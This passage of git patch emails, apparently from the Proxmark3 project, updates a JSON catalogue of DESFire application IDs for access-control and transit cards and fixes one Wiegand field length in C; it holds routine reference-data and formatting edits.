"Type": "pacs" + }, + { + "AID": "53494F", + "Vendor": "HID", + "Country": "US", + "Name": "Access Control", + "Description": "HID Factory", + "Type": "pacs" + }, + { + "AID": "6F706C", + "Vendor": "Openpath", + "Country": "US", + "Name": "Access control", + "Description": "Openpath PACS Application", + "Type": "pacs" + }, + { + "AID": "D3494F", + "Vendor": "HID", + "Country": "US", + "Name": "SIO DESFire EV1", + "Description": "Field Encoder", + "Type": "pacs" + }, + { + "AID": "D9494F", + "Vendor": "HID", + "Country": "US", + "Name": "Access control", + "Description": "Field Encoder", + "Type": "pacs" + }, { "AID": "F48120", "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", @@ -143,46 +183,6 @@ "Description": "Card Application Directory [CAD]", "Type": "pacs" }, - { - "AID": "4791DA", - "Vendor": "Prima Systems", - "Country": "SI", - "Name": "Prima FlexAir Access Control", - "Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions", - "Type": "pacs" - }, - { - "AID": "53494F", - "Vendor": "HID", - "Country": "US", - "Name": "Access Control", - "Description": "HID Factory", - "Type": "pacs" - }, - { - "AID": "6F706C", - "Vendor": "Openpath", - "Country": "US", - "Name": "Access control", - "Description": "Openpath PACS Application", - "Type": "pacs" - }, - { - "AID": "D3494F", - "Vendor": "HID", - "Country": "US", - "Name": "SIO DESFire EV1", - "Description": "Field Encoder", - "Type": "pacs" - }, - { - "AID": "D9494F", - "Vendor": "HID", - "Country": "US", - "Name": "Access control", - "Description": "Field Encoder", - "Type": "pacs" - }, { "AID": "F48EF1", "Vendor": "Salto Systems", From 323414b2b0fc2d996d80c2ca1dda63b2a84c23d2 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Wed, 26 Jun 2024 14:21:53 +1000 Subject: [PATCH 127/157] Update aid_desfire.json Interim checks made using NXP TagInfo. Removed duplicate AID [Disney MagicBand], which had an entry with its AID bytes reversed. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 12113e8eb..dbb3f46d3 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -3,7 +3,7 @@ "AID": "EEEE10", "Vendor": "NFC Forum", "Country": "US", - "Name": "NFC Forum NDEF Tag", + "Name": "NDEF Tag — Type 4 Version 1", "Description": "FID 03: Capability Container", "Type": "ndef" }, @@ -399,14 +399,6 @@ "Description": "", "Type": "student" }, - { - "AID": "27E178", - "Vendor": "Disney", - "Country": "US", - "Name": "Disney MagicBand", - "Description": "", - "Type": "payment system" - }, { "AID": "44434C", "Vendor": "Disney", @@ -428,7 +420,7 @@ "Vendor": "Alfa-Zet", "Country": "BE", "Name": "ping.ping Tag", - "Description": "ping.ping Tag", + "Description": "ping.ping App 1", "Type": "payment system" }, { @@ -436,7 +428,7 @@ "Vendor": "Alfa-Zet", "Country": "BE", "Name": "ping.ping Tag", - "Description": "ping.ping Tag", + "Description": "ping.ping App 2", "Type": "payment system" }, { @@ -444,7 +436,7 @@ "Vendor": "Alfa-Zet", "Country": "BE", "Name": "ping.ping Tag", - "Description": "ping.ping Tag", + "Description": "ping.ping App 3", "Type": "payment system" }, { @@ -452,7 +444,7 @@ "Vendor": "Alfa-Zet", "Country": "BE", "Name": "ping.ping Tag", - "Description": "ping.ping Tag", + "Description": "ping.ping App 4", "Type": "payment system" }, { From 3ccf2386163b619b4211cfa941e4c8be28f89917 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Wed, 26 Jun 2024 14:25:19 +1000 Subject: [PATCH 128/157] Update aid_desfire.json Interim Checks on NXP TagInfo. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index dbb3f46d3..6c8a1ac6b 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -457,10 +457,10 @@ }, { "AID": "C26001", - "Vendor": "CAR2GO", + "Vendor": "car2go", "Country": "DE", "Name": "MemberCard", - "Description": "CAR2GO - Member Card", + "Description": "car2go - Member Card / Multi Functional Badge / Private Application #1", "Type": "carsharing" }, { From 86fd5456e2add50d08df658cbd4a5a9411d1e387 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Wed, 26 Jun 2024 17:48:55 +1000 Subject: [PATCH 129/157] Update aid_desfire.json Formatting updates. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 114 +++++++++++++++--------------- 1 file changed, 57 insertions(+), 57 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 6c8a1ac6b..3f7cfb891 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -57,7 +57,7 @@ }, { "AID": "F48120", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -65,7 +65,7 @@ }, { "AID": "F48121", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -73,7 +73,7 @@ }, { "AID": "F48122", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -81,7 +81,7 @@ }, { "AID": "F48123", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -89,7 +89,7 @@ }, { "AID": "F48124", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -97,7 +97,7 @@ }, { "AID": "F48125", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -105,7 +105,7 @@ }, { "AID": "F48126", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -113,7 +113,7 @@ }, { "AID": "F48127", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -121,7 +121,7 @@ }, { "AID": "F48128", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -129,7 +129,7 @@ }, { "AID": "F48129", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -137,7 +137,7 @@ }, { "AID": "F4812A", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -145,7 +145,7 @@ }, { "AID": "F4812B", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", @@ -153,7 +153,7 @@ }, { "AID": "F4812C", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Unused Cardax Card Data Application", @@ -161,7 +161,7 @@ }, { "AID": "F4812D", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Unused Cardax Card Data Application", @@ -169,7 +169,7 @@ }, { "AID": "F4812E", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Unused Cardax Card Data Application", @@ -177,7 +177,7 @@ }, { "AID": "F4812F", - "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", "Description": "Card Application Directory [CAD]", @@ -460,7 +460,7 @@ "Vendor": "car2go", "Country": "DE", "Name": "MemberCard", - "Description": "car2go - Member Card / Multi Functional Badge / Private Application #1", + "Description": "car2go - Member Card // Multi Functional Badge / Private Application #1", "Type": "carsharing" }, { @@ -475,15 +475,15 @@ "AID": "002000", "Vendor": "Metrolinx", "Country": "CA", - "Name": "PRESTO Card [YYZ/YHM/YOW]", + "Name": "PRESTO Card (YYZ/YHM/YOW)", "Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data", "Type": "transport" }, { "AID": "010000", - "Vendor": "Consorcio Regional de Transportes Públicos Regulares de Madrid [CRTM]", + "Vendor": "Consorcio Regional de Transportes Públicos Regulares de Madrid (CRTM)", "Country": "ES", - "Name": "Tarjeta Transporte Publico [MAD]", + "Name": "Tarjeta Transporte Publico (MAD)", "Description": "MAD Public Transport Card", "Type": "transport" }, @@ -491,15 +491,15 @@ "AID": "012242", "Vendor": "Istanbulkart", "Country": "TR", - "Name": "Istanbulkart [IST]", + "Name": "Istanbulkart (IST)", "Description": "IST Istanbul Card", "Type": "transport" }, { "AID": "015342", - "Vendor": "Bangkok Expressway and Metro Public Limited Company [BEM]", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", "Country": "TH", - "Name": "MRT Stored Value Card [BKK]", + "Name": "MRT Stored Value Card (BKK)", "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", "Type": "transport" }, @@ -507,15 +507,15 @@ "AID": "2211AF", "Vendor": "National Transport Authority", "Country": "IE", - "Name": "TFI Leap Card [DUB]", + "Name": "TFI Leap Card (DUB)", "Description": "DUB Leap Card // Transport for Ireland // FIDs: 01,1F: Backup Data; 02-0A: Standard Data", "Type": "transport" }, { "AID": "4F5931", - "Vendor": "Transport for London [TfL]", + "Vendor": "Transport for London (TfL)", "Country": "UK", - "Name": "Oyster Card [LHR]", + "Name": "Oyster Card (LHR)", "Description": "FIDs: 00-07: Standard Data", "Type": "transport" }, @@ -523,15 +523,15 @@ "AID": "422201", "Vendor": "Transport of Istanbul", "Country": "TR", - "Name": "İstanbulkart [IST]", + "Name": "İstanbulkart (IST)", "Description": "IST Istanbul Card", "Type": "transport" }, { "AID": "534531", - "Vendor": "Transport for New South Wales [TfNSW]", + "Vendor": "Transport for New South Wales (TfNSW)", "Country": "AU", - "Name": "Opal Card [SYD]", + "Name": "Opal Card (SYD)", "Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History", "Type": "transport" }, @@ -539,13 +539,13 @@ "AID": "554000", "Vendor": "Auckland Transport", "Country": "NZ", - "Name": "AT HOP Card [AKL]", + "Name": "AT HOP Card (AKL)", "Description": "FIDs: 00: Backup Data; 08/09/0A", "Type": "transport" }, { "AID": "578000", - "Vendor": "Norwegian Public Roads Administration [NPRA]", + "Vendor": "Norwegian Public Roads Administration (NPRA)", "Country": "NO", "Name": "NORTIC Transport", "Description": "Norwegian Ticketing Interoperable Concept // FID 0C: Card Issuer Header", @@ -553,7 +553,7 @@ }, { "AID": "578001", - "Vendor": "Norwegian Public Roads Administration [NPRA]", + "Vendor": "Norwegian Public Roads Administration (NPRA)", "Country": "NO", "Name": "NORTIC Transport", "Description": "FIDs 01: Product Retailer; 02: Service Provider; 03: Special Event; 04: Stored Value; 05: General Event Log; 06: SV Reload Log; 0A: Environment; 0C: Card Holder", @@ -561,9 +561,9 @@ }, { "AID": "784000", - "Vendor": "Roads & Transport Authority [Government of Dubai]", + "Vendor": "Roads & Transport Authority (Government of Dubai)", "Country": "AE", - "Name": "nol Card [DXB]", + "Name": "nol Card (DXB)", "Description": "DXB nol Card", "Type": "transport" }, @@ -571,15 +571,15 @@ "AID": "A00216", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "ITSO", - "Description": "Appears to be used across UK Transit Agencies except LHR Oyster.", + "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Description": "ITSO Public Transport Application // Provision of Citizen Services #0", "Type": "transport" }, { "AID": "EF2011", - "Vendor": "Helsinki Region Transport [HRT]", + "Vendor": "Helsinki Region Transport (HRT)", "Country": "FI", - "Name": "HSL Card [HEL/TLL/TAY]", + "Name": "HSL Card (HEL/TLL/TAY)", "Description": "HEL/TLL/TAY HSL Card", "Type": "transport" }, @@ -587,15 +587,15 @@ "AID": "F001D0", "Vendor": "Arabako Foru Aldundia", "Country": "ES", - "Name": "BAT Card [VIT]", + "Name": "BAT Card (VIT)", "Description": "VIT BAT Card", "Type": "transport" }, { "AID": "F206B0", - "Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]", + "Vendor": "Adelaide Metro via Affiliated Computer Services (ACS)", "Country": "AU", - "Name": "metroCARD [ADL]", + "Name": "metroCARD (ADL)", "Description": "FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote/HID Adelaide; 1E: Standard Data; 0C-0F: Card Balance", "Type": "transport" }, @@ -611,7 +611,7 @@ "AID": "F21050", "Vendor": "Metro Christchurch via INIT", "Country": "NZ", - "Name": "Metrocard [CHC]", + "Name": "Metrocard (CHC)", "Description": "FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", "Type": "transport" }, @@ -619,23 +619,23 @@ "AID": "F210E0", "Vendor": "TriMet", "Country": "US", - "Name": "Hop Fastpass [PDX]", + "Name": "Hop Fastpass (PDX)", "Description": "PDX Hop Card", "Type": "transport" }, { "AID": "F210F0", - "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", + "Vendor": "Public Transport Victoria (PTV) via Conduent (formerly via Keane Australia Pty Ltd)", "Country": "AU", - "Name": "myki [MEL]", + "Name": "myki (MEL)", "Description": "FIDs 01-02: Transaction History; 03: myki money Balance; 00,04-05: Backup Data; 08-0C,0F: Standard Data", "Type": "transport" }, { "AID": "F21100", - "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", + "Vendor": "Public Transport Victoria (PTV) via Conduent (formerly via Keane Australia Pty Ltd)", "Country": "AU", - "Name": "myki [MEL]", + "Name": "myki (MEL)", "Description": "FIDs 0F: Standard Data; 00: Backup Data", "Type": "transport" }, @@ -643,7 +643,7 @@ "AID": "F21150", "Vendor": "Prague Public Transit Company via Haguess a.s.", "Country": "CZ", - "Name": "Lítačka Opencard [PRG]", + "Name": "Lítačka Opencard (PRG)", "Description": "PRG Lítačka Opencard", "Type": "transport" }, @@ -651,7 +651,7 @@ "AID": "F21190", "Vendor": "Metropolitan Transportation Commission via Cubic", "Country": "US", - "Name": "Clipper Card [SFO]", + "Name": "Clipper Card (SFO)", "Description": "FIDs 02: Card Balance; 04: Refill History; 08: Card Information; 0E: Trip History", "Type": "transport" }, @@ -659,15 +659,15 @@ "AID": "F21360", "Vendor": "INIT", "Country": "US", - "Name": "HOLO Card [HNL]", + "Name": "HOLO Card (HNL)", "Description": "HNL HOLO Card", "Type": "transport" }, { "AID": "F21381", - "Vendor": "Chicago Transit Authority [CTA] via Cubic", + "Vendor": "Chicago Transit Authority (CTA) via Cubic", "Country": "US", - "Name": "Ventra Card [ORD]", + "Name": "Ventra Card (ORD)", "Description": "ORD Ventra Card [Gen 2 Blue] // Multi-Modal Transit #1 // FIDs 00-01: Standard Data", "Type": "transport" }, @@ -675,15 +675,15 @@ "AID": "F21390", "Vendor": "Multiple NZ Transit Agencies via Otago Regional Council", "Country": "NZ", - "Name": "Bee Card [DUD]", + "Name": "Bee Card (DUD)", "Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance", "Type": "transport" }, { "AID": "F213A0", - "Vendor": "Rhode Island Public Transport Authority [RIPTA] via INIT", + "Vendor": "Rhode Island Public Transport Authority (RIPTA) via INIT", "Country": "US", - "Name": "Wave Smart Card [PVD]", + "Name": "Wave Smart Card (PVD)", "Description": "PVD Wave Smart Card", "Type": "transport" }, @@ -691,7 +691,7 @@ "AID": "F213F0", "Vendor": "Puget Sound Transit Agencies via Vix Technologies", "Country": "US", - "Name": "ORCA [SEA]", + "Name": "ORCA (SEA)", "Description": "One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", "Type": "transport" }, @@ -699,7 +699,7 @@ "AID": "FF30FF", "Vendor": "Metrolinx", "Country": "CA", - "Name": "PRESTO Card [YYZ/YHM/YOW]", + "Name": "PRESTO Card (YYZ/YHM/YOW)", "Description": "FID 08: Standard Data", "Type": "transport" }, From 7e109865ba796842f6136b85371ba563f9979438 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Thu, 27 Jun 2024 10:18:03 +1000 Subject: [PATCH 130/157] Update aid_desfire.json Added ITSO AIDs Removed Incorrect IST Istanbulkart AID Made corrections to VIT BAT description Made other formatting corrections Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 50 +++++++++++++++++++++++-------- 1 file changed, 37 insertions(+), 13 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 3f7cfb891..c4b8f2ca8 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -489,10 +489,10 @@ }, { "AID": "012242", - "Vendor": "Istanbulkart", + "Vendor": "Belbim", "Country": "TR", "Name": "Istanbulkart (IST)", - "Description": "IST Istanbul Card", + "Description": "IST Istanbul Card (eBilet App)", "Type": "transport" }, { @@ -519,14 +519,6 @@ "Description": "FIDs: 00-07: Standard Data", "Type": "transport" }, - { - "AID": "422201", - "Vendor": "Transport of Istanbul", - "Country": "TR", - "Name": "İstanbulkart (IST)", - "Description": "IST Istanbul Card", - "Type": "transport" - }, { "AID": "534531", "Vendor": "Transport for New South Wales (TfNSW)", @@ -547,7 +539,7 @@ "AID": "578000", "Vendor": "Norwegian Public Roads Administration (NPRA)", "Country": "NO", - "Name": "NORTIC Transport", + "Name": "NORTIC (Norway Public Transport Card)", "Description": "Norwegian Ticketing Interoperable Concept // FID 0C: Card Issuer Header", "Type": "transport" }, @@ -555,7 +547,7 @@ "AID": "578001", "Vendor": "Norwegian Public Roads Administration (NPRA)", "Country": "NO", - "Name": "NORTIC Transport", + "Name": "NORTIC (Norway Public Transport Card)", "Description": "FIDs 01: Product Retailer; 02: Service Provider; 03: Special Event; 04: Stored Value; 05: General Event Log; 06: SV Reload Log; 0A: Environment; 0C: Card Holder", "Type": "transport" }, @@ -588,7 +580,7 @@ "Vendor": "Arabako Foru Aldundia", "Country": "ES", "Name": "BAT Card (VIT)", - "Description": "VIT BAT Card", + "Description": "VIT BAT Card // Used on Euskotren // Interoperable PT Card", "Type": "transport" }, { @@ -695,6 +687,38 @@ "Description": "One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", "Type": "transport" }, + { + "AID": "F40110", + "Vendor": "ITSO Ltd", + "Country": "UK", + "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Description": "UK National Smartcard Project // Provision of Citizen Services #1", + "Type": "transport" + }, + { + "AID": "F40111", + "Vendor": "ITSO Ltd", + "Country": "UK", + "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Description": "UK National Smartcard Project // Provision of Citizen Services #2", + "Type": "transport" + }, + { + "AID": "F40112", + "Vendor": "ITSO Ltd", + "Country": "UK", + "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Description": "UK National Smartcard Project // Provision of Citizen Services #3", + "Type": "transport" + }, + { + "AID": "F40113", + "Vendor": "ITSO Ltd", + "Country": "UK", + "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Description": "UK National Smartcard Project // Provision of Citizen Services #4", + "Type": "transport" + }, { "AID": "FF30FF", "Vendor": "Metrolinx", From d8d2aed2df9f5486c165035e92d23389d0ed1bda Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Thu, 27 Jun 2024 10:22:52 +1000 Subject: [PATCH 131/157] Update aid_desfire.json Added ICT PACS AIDs and updated AID descriptions Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 34 ++++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index c4b8f2ca8..49561162b 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -15,6 +15,14 @@ "Description": "FID 02: EF-CONF", "Type": "pacs" }, + { + "AID": "1023F5", + "Vendor": "Integrated Control Technology Limited [ICT]", + "Country": "NZ", + "Name": "ICT Access Credential", + "Description": "Default Secondary Application", + "Type": "pacs" + }, { "AID": "4791DA", "Vendor": "Prima Systems", @@ -212,7 +220,31 @@ "Vendor": "Integrated Control Technology Limited [ICT]", "Country": "NZ", "Name": "ICT Access Credential", - "Description": "", + "Description": "Default Primary Application", + "Type": "pacs" + }, + { + "AID": "F52318", + "Vendor": "Integrated Control Technology Limited [ICT]", + "Country": "NZ", + "Name": "ICT Access Credential", + "Description": "Default Custom Application", + "Type": "pacs" + }, + { + "AID": "F5231E", + "Vendor": "Integrated Control Technology Limited [ICT]", + "Country": "NZ", + "Name": "ICT Access Credential", + "Description": "Interoperability Application", + "Type": "pacs" + }, + { + "AID": "F5231F", + "Vendor": "Integrated Control Technology Limited [ICT]", + "Country": "NZ", + "Name": "ICT Access Credential", + "Description": "Third-Party Locking Application", "Type": "pacs" }, { From 4b3afbfac452d8ece084059140d7a43afc95b826 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Thu, 27 Jun 2024 21:37:50 +1000 Subject: [PATCH 132/157] Update aid_desfire.json Added DEL Delhi Metro AIDs Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 56 +++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 49561162b..7cf38aeeb 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -527,6 +527,14 @@ "Description": "IST Istanbul Card (eBilet App)", "Type": "transport" }, + { + "AID": "014D44", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro App 1", + "Type": "transport" + }, { "AID": "015342", "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", @@ -535,6 +543,54 @@ "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", "Type": "transport" }, + { + "AID": "024D44", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro App 2", + "Type": "transport" + }, + { + "AID": "034D44", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro App 3", + "Type": "transport" + }, + { + "AID": "044D44", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro App 4", + "Type": "transport" + }, + { + "AID": "054D44", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro App 5", + "Type": "transport" + }, + { + "AID": "064D44", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro App 6", + "Type": "transport" + }, + { + "AID": "074D44", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro App 7", + "Type": "transport" + }, { "AID": "2211AF", "Vendor": "National Transport Authority", From 4da758adaa9367351d29361221a0e2443df86a09 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Thu, 27 Jun 2024 21:59:05 +1000 Subject: [PATCH 133/157] Update aid_desfire.json Added additional IST Istanbulkart AIDs Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 7cf38aeeb..5a31d3ac9 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -567,6 +567,14 @@ "Description": "DEL Delhi Metro App 4", "Type": "transport" }, + { + "AID": "052242", + "Vendor": "Belbim", + "Country": "TR", + "Name": "Istanbulkart (IST)", + "Description": "IST Istanbul Card (ISPARK App)", + "Type": "transport" + }, { "AID": "054D44", "Vendor": "Delhi Metro Rail Corporation Limited", @@ -575,6 +583,14 @@ "Description": "DEL Delhi Metro App 5", "Type": "transport" }, + { + "AID": "062242", + "Vendor": "Belbim", + "Country": "TR", + "Name": "Istanbulkart (IST)", + "Description": "IST Istanbul Card (App 6)", + "Type": "transport" + }, { "AID": "064D44", "Vendor": "Delhi Metro Rail Corporation Limited", From 0847ec48191db38f23617c28fdb7bbd4e1ca605d Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sat, 29 Jun 2024 10:42:09 +1000 Subject: [PATCH 134/157] Update aid_desfire.json Updated GWR touch IATA code; SWI is apparently a closed airport. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 5a31d3ac9..237db3297 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -667,7 +667,7 @@ "AID": "A00216", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", "Description": "ITSO Public Transport Application // Provision of Citizen Services #0", "Type": "transport" }, @@ -795,7 +795,7 @@ "AID": "F40110", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", "Description": "UK National Smartcard Project // Provision of Citizen Services #1", "Type": "transport" }, @@ -803,7 +803,7 @@ "AID": "F40111", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", "Description": "UK National Smartcard Project // Provision of Citizen Services #2", "Type": "transport" }, @@ -811,7 +811,7 @@ "AID": "F40112", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", "Description": "UK National Smartcard Project // Provision of Citizen Services #3", "Type": "transport" }, @@ -819,7 +819,7 @@ "AID": "F40113", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (SWI)", + "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", "Description": "UK National Smartcard Project // Provision of Citizen Services #4", "Type": "transport" }, From 4124dcdce9efac16a1908a0fcb2c389ee84b43e6 Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Thu, 4 Jul 2024 12:02:32 +0200 Subject: [PATCH 135/157] Fix a few mistaked in Wiegand encodings --- client/src/wiegand_formats.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/src/wiegand_formats.c b/client/src/wiegand_formats.c index fc14f2bb6..9c3a09c31 100644 --- a/client/src/wiegand_formats.c +++ b/client/src/wiegand_formats.c @@ -154,7 +154,7 @@ static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool if (card->OEM > 0) return false; // Not used in this format packed->Length = 27; - set_nonlinear_field(packed, card->FacilityCode, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); + set_nonlinear_field(packed, card->FacilityCode, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); if (preamble) return add_HID_header(packed); @@ -166,7 +166,7 